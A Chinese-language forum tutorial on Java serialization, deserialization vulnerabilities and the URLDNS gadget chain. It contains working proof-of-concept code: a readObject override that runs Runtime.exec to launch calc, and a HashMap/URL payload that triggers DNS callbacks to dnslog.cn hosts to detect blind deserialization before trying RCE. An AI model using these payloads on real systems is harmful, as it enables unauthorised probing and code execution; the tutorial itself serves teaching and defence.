1.什么是序列化和反序列化?

Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程;

2.为什么要序列化?

对象不只是存储在内存中,它还需要在传输网络中进行传输,并且保存起来之后下次再加载出来,这时候就需要序列化技术。Java的序列化技术就是把对象转换成一串由二进制字节组成的数组,然后将这二进制数据保存在磁盘或
传输网络。而后需要用到这对象时,磁盘或者网络接收者可以通过反序列化得到此对象,达到对象持久化的目的。
反序列化条件:
● 该类必须实现 java.io.Serializable 对象
● 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的
序列化过程:
● 序列化:将 OutputStream 封装在 ObjectOutputStream 内,然后调用 writeObject 即可
● 反序列化:将 InputStream 封装在 ObjectInputStream 内,然后调用 readObject 即可
反序列化出错可能原因
● 序列化字节码中的 serialVersionUID(用于记录java序列化版本)在进行反序列化时,JVM 会把传来的字节流中的 serialVersionUID 与本地相应实体类的 serialVersionUID 进行比较,如果相同就认为是一致的,可以进行反序列化,否则就抛出序列化版本不一致的异常- InvalidCastException。

3 ObjectOutputStream 与 ObjectInputStream类

3.1 ObjectOutputStream类

java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。
序列化操作
一个对象要想序列化,必须满足两个条件:
1.该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会
使任何状态序列化或反序列化,会抛出 NotSerializableException 。
2.该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态的,使用transient 关键字修饰。
示例:

Employee.java
 public class Employee implements java.io.Serializable{
 public String name;
 public String address;
 public transient int age; // transient瞬态修饰成员,不会被序列化
 public void addressCheck() {
   System.out.println("Address check : " + name + " -- " + address);
 //此处省略tostring等方法
 }
}

SerializeDemo.java

public class SerializeDemo {
 public static void main(String[] args) throws IOException {
   Employee e = new Employee();
   e.name = "zhangsan";
   e.age = 20;
   e.address = "shenzhen";
     // 创建序列化流
     ObjectOutputStream outputStream = new ObjectOutputStream(new
FileOutputStream("ser.txt"));
     // 写出对象
     outputStream.writeObject(e);
     // 释放资源
     outputStream.close();
 }
}

先跑一遍正常代码,发现没有问题,正常输出。

编写序列化代码。
1) 序列化类的属性没有实现 Serializable 那么在序列化就会报错
只有实现 了Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Serializable 接口是 Java 提供的序列化接口,一个实现 Serializable 接口的子类也是可以被序列化的。

package mytest;

import java.io.*;

class Useri implements Serializable {
    private String username;
    private int age;

    public Useri(String username, int age) {
        this.username = username;
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "username='" + username + '\'' +
                ", age=" + age +
                '}';
    }

}

public class mytest {
    public static void main(String[] args) throws Exception{
        Useri user = new Useri("ggg", 12);
        System.out.println(user);
        Serialize(user);
    }

    public static void Serialize(Useri obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
        oos.close();
    }
}

代码中的Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致异常。
运行,无报错。

然后将序列化的内容 保存到ser.txt里面。

编写反序列化代码。

在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数

transient 标识的对象成员变量不参与序列化

我们进行测试,发现可以成功触发calc。

3.2 ObjectInputStream类

如果能找到一个对象的class文件,我们可以进行反序列化操作,调用 ObjectInputStream 读取对象的
方法:打印结果:反序列化操作就是从二进制文件中提取对象

4. 反序列化漏洞的基本原理

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞此处重写了readObject方法,执行Runtime.getRuntime().exec()
defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法
运行流程:
1.myObj对象序列化进object文件
2.object反序列化对象->调用readObject方法->执行Runtime.getRuntime().exec("calc.exe");
首先去重写构造器

public Person(String name, int age,String cmd) {
        this.name = name;
        this.age = age;
        this.cmd = cmd;
    }

接着去重写readObject方法.

private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        // 执行默认的 readObject() 方法
        Runtime.getRuntime().exec(cmd);
    }

然后去进行序列化

public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();

在进行反序列化,成功执行calc命令

共同条件:继承 Serializable
● 入口类 source (即找到重写 readObject方法,调用常见的函数,参数类型宽泛 最好 jdk 自带)
● 调用链 gadget chain (基于类的默认方式调用)
● 执行类 sink (RCE、SSRF、写文件等操作)

4.1 java类中serialVersionUID的作用

serialVersionUID适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的
serialVersionUID来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的
serialVersionUID与本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反
序列化,否则会出现反序列化版本一致的异常,即是InvalidCastException。

5 serialVersionUID有两种显示的生成方式:

一是 默认的1L,比如:private static final long serialVersionUID = 1L;
默认的版本
private static final long serialVersionUID = 1L;

二是根据包名,类名,继承关系,非私有的方法和属性,以及参数,返回值等诸多因子计算得出的,极度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如:private static final long serialVersionUID = xxxxL;
private static final long serialVersionUID = xxxxL;

注意:显示声明serialVersionUID可以避免对象不一致,静态成员变量是不能被序列化。transient 标识的成员变量不参与序列化。

实例:
首先设置自动生存uid

在代码中实现随机serialVersionUID

运行代码,成功实现calc

6.反序列化防护

放在classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

6.1 hashmap

Map是一个集合,本质上还是数组,HashMap是Map的子接口。该集合的结构为key-->value,两个一起称为一个Entry(jdk7),在jdk8中底层的数组为Node[]。当new HashMap()时,在jdk7中会直接创建一个长度为16的数组;jdk8中并不直接创建,而是在调用put方法时才去创建一个长度为16的数组。
hashmap作为入口类。反序列化的入口类就是jdk中经常被使用的类,继承了Serialize接口,具备readObject方法,调用一些类和该类中的某种方法(方法中可以直接或者间接调用危险函数)。

6.2利用过程:

7.URLDNS链分析

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。
HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法

7.1 分析过程

前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看 putVal里 hash函数

readObject是java反序列化的关键函数,URLDNS链的触发方式就是使用readObject函数,所以使用搜索readObject找到了HashMap。

在readObject函数里边用到了一个hash(key)

然后跟进这个函数,然后看到它的使用方法。

这里如果hash()里边传入了一个对象的话就会调用这个hashCode()进行利用,那就继续找一下哪里使用了hashCode。在URL.java 里边看到可以看到使用了hashCode函数,里边判断了hashCode是否为-1

hashCode定义的值为-1

只要不修改hashCode的值,他就会执行下边的hashCode=handler.hashCode(this)
可以看到在URLStreamHandler.java里边重写了hashCode方法,使上边的hashCode为-1的时候可以继续执行下边的函数

里边执行了 getHostAddress,我们跟踪到这里

getByName是用来解析ip的函数,当我们解析到dnslog.cn的ip的时候,dnslog就会给出回显,所以常被用来检验无回显的java反序列化,包括常见的log4j、fastjson这些

获取地址之后就会返回到url里边的hashcode

所以URLDNS完整的利用链就为
hashmap->readObject->hash-URL.hashcode->getHostAddress->InetAddress.getByName(host)
所以我们只要调用hashmap里边的put方法,就可以调用里边url解析函数

成功返回ip。

在URL.java的hashCode设置一个断点来观察

成功收到监听

7.2反序列化

然后进行反序列化操作

发现也是可以收到监听的。

7.3序列化

接着进行序列化的操作:

然后进行反序列化

package mytest;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashMap=new HashMap<URL, Integer>();
        URL  url=new URL("http://c40tqs.dnslog.cn");
        url.hashCode();
        Class c=URL.class;
        Field fieldHascode=c.getDeclaredField("hashCode");
        fieldHascode.setAccessible(true);
        fieldHascode.set(url,233);
        hashMap.put(url,22);
        Serialize(hashMap);
    }
    public static void Serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
        oos.close();
    }
}

成功收到监听。

打一个断点进行分析

可以看到hashCode现在是=-1的

接着会调用到下边的

这样在序列化之后就可以找到

整个调用链

HashMap->readObject()
HashMap->hash()
URL->hachCode()
URLStreamHandler->hachCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()

7.4反序列化利用

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
 public static void main(String[] args) throws Exception {
   HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>();
   URL url = new URL("http://nxfsji.dnslog.cn");
   Class c = url.getClass();
   Field fieldhashcode=c.getDeclaredField("hashCode");
   fieldhashcode.setAccessible(true);
   fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
   hashmap.put(url,2);
   fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
   serialize(hashmap);
 }
 public static void serialize(Object obj) throws IOException {
   ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
   oos.writeObject(obj);
   oos.close();
 }
}

进行反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class RrefilectDns{
 public static void main(String[] args) throws Exception{
   unserialize();
 }
 public static void unserialize() throws IOException, ClassNotFoundException
{
   ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("ser.bin"));
   ois.readObject();
   ois.close();
 }
}

收到响应。

7.5发掘依据

调用链使用的类可以被序列化或者调用链中的类属性可以被序列化

7.6发掘方法

1.入口类重写readObject方法
2.入口类传入任意的对象
3.执行类可被任意执行危险或者任意函数
总结:
Java序列化和反序列化是将Java对象转换为字节流和将字节流转换为Java对象的过程。Java提供了一种机制,称为Java对象序列化,可将Java对象转换为字节流,以便将其保存在文件中或通过网络传输。反序列化是将字节流转换回Java对象的过程。在本文中,我们将探讨Java序列化和反序列化的基本原理以及如何使用Java进行序列化和反序列化。

https://baijiahao.baidu.com/s?id=1744739721852280501&wfr=spider&for=pc
https://cloud.tencent.com/developer/article/2255362
https://baijiahao.baidu.com/s?id=1744739721852280501&wfr=spider&for=pc

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖